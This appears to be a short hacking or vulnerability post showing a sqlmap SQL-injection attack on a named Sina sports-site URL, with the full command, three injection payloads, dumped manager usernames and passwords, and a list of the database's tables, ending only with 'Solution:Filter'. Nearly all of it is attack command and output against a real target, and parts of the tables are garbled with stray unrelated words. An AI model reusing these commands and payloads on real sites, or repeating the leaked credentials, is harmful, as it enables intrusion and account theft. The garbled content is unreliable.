http://others.sports.sina.com.cn/cva/paper.php?id=264 Root @ kali :~ # Sqlmap-u"http://others.sports.sina.com.cn/cva/paper.php?id=264 "-- Dump-C" Manager, PassWord "-T" cva_manager "-D" otherssports "sqlmap/1.0-dev-automatic SQL injection and database takeover tool http://sqlmap.org [!] Legal disclagal: Usage of sqlmap for attacking targets without prior mutual consent is illegal. it is the end user's responsibility to obey all applicable local, state and federal laws. developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 18:10:41 [18:10:41] [INFO] resuming back-end DBMS 'mysql' [18:10:41] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP (s) requests: --- Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind-WHERE or HAVING clause Payload: id = 264 ') AND 5215 = 5215 AND ('eojb '= 'eojb Type: UNION query Title: MySQL UNION query (NULL)-36 columns Payload: id =-7030 ') union all select concat (0x3a786c763a, 0x0000f4778474d484c6157, 0x3a63707a3a), NULL, NULL, NULL # Type: AND/OR time-based blind Title: MySQL> 5.0.11 AND time-based blind Payload: id = 264 ') and sleep (5) AND ('grrq' = 'grrq --- [18:10:42] [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: mySQL 5.0.11 [18:10:42] [INFO] fetching columns 'manager, passWord 'for table 'cva _ Manager' in database 'otherssports' [18:10:42] [INFO] the SQL query used returns 2 entries [18:10:42] [INFO] retrieved: "manager ", "varchar (20)" [18:10:42] [INFO] retrieved: "PassWord", "varchar (20)" [18:10:42] [INFO] fetching entries of column (s) 'Manager, passWord 'for table 'cva _ Manager' in database 'otherssports' [18:10:42] [INFO] the SQL query used returns 2 entries [18:10:42] [INFO] retrieved: "cva ", "fgrtert $ 4b345b" [18:10:43] [INFO] retrieved: "cvadmin", "fdgest34534sdftt54dg" [18:10:43] [INFO] analyzing table dump for possible password hashes Database: otherssports Table: cva_manager [2 entries] + --------- + -------------------- + | Manager | PassWord | + --------- + signature + | cva | fgrtert $ 4b345b | cvadmin | principal | + --------- + Principal + web application technology: apache back-end DBMS: MySQL 5.0.11 [18:06:26] [INFO] fetching tables for database: 'otherssports '[18:06:26] [INFO] the SQL query used returns 119 entries Database: otherssports [119 tables] + logs + | admins | admins1 | CBA _double | CBA _member | disabled | CBA _result | disabled | CBA _result_team | chels_fixture | chels_mail | chels_news | chels_picture | chels_player | chels_player_club | chels_score | chels_user | chels_word | keywords | cva_area | cva_groups | cva_league | cva_manager | cva_match | | principal | cva_member | principal | cva_member_0910 | principal | cva_para | cva_result | principal | cva_result_0910 | cva_result_bak | cva_team | california | Connecticut | doha_country | doha_member | doha_result | doha_sports | Connecticut | fivb_chinese | fivb_match | percent | fivb_rank | football_news | queue | guess_news | guess_question | guess_title | guess_user | queue | head_2_head | head_player | historymedal | queue | historymedalteam | | iaaf_match | outcome | iaaf_result | inter_allscore | inter_chinese | inter_match | inter_news | inter_pic | inter_player | inter_user | ittf_live | ittf_player | key_channel | key_record | key_word_url | live_photo | live_sports | match | match_score | match_team | match_type | keys | rank_atp | rank_atp_d | rank_atp_date | frequency | rank_bmf | frequency | rank_cttsl | rank_fifa | rank_golf | rank_ittf | rank_link | rank_word | rank_wta | frequency | | metrics | record_memory Ming | metrics | reporter_user | shidefc_user | team_player | tennis_live | tennis_match | tennis_news | tennis_player | metrics | tennis_user | tennis_user_match | tennis_user_player | + ------------------------------ + the test succeeds and enters the background.
Solution:Filter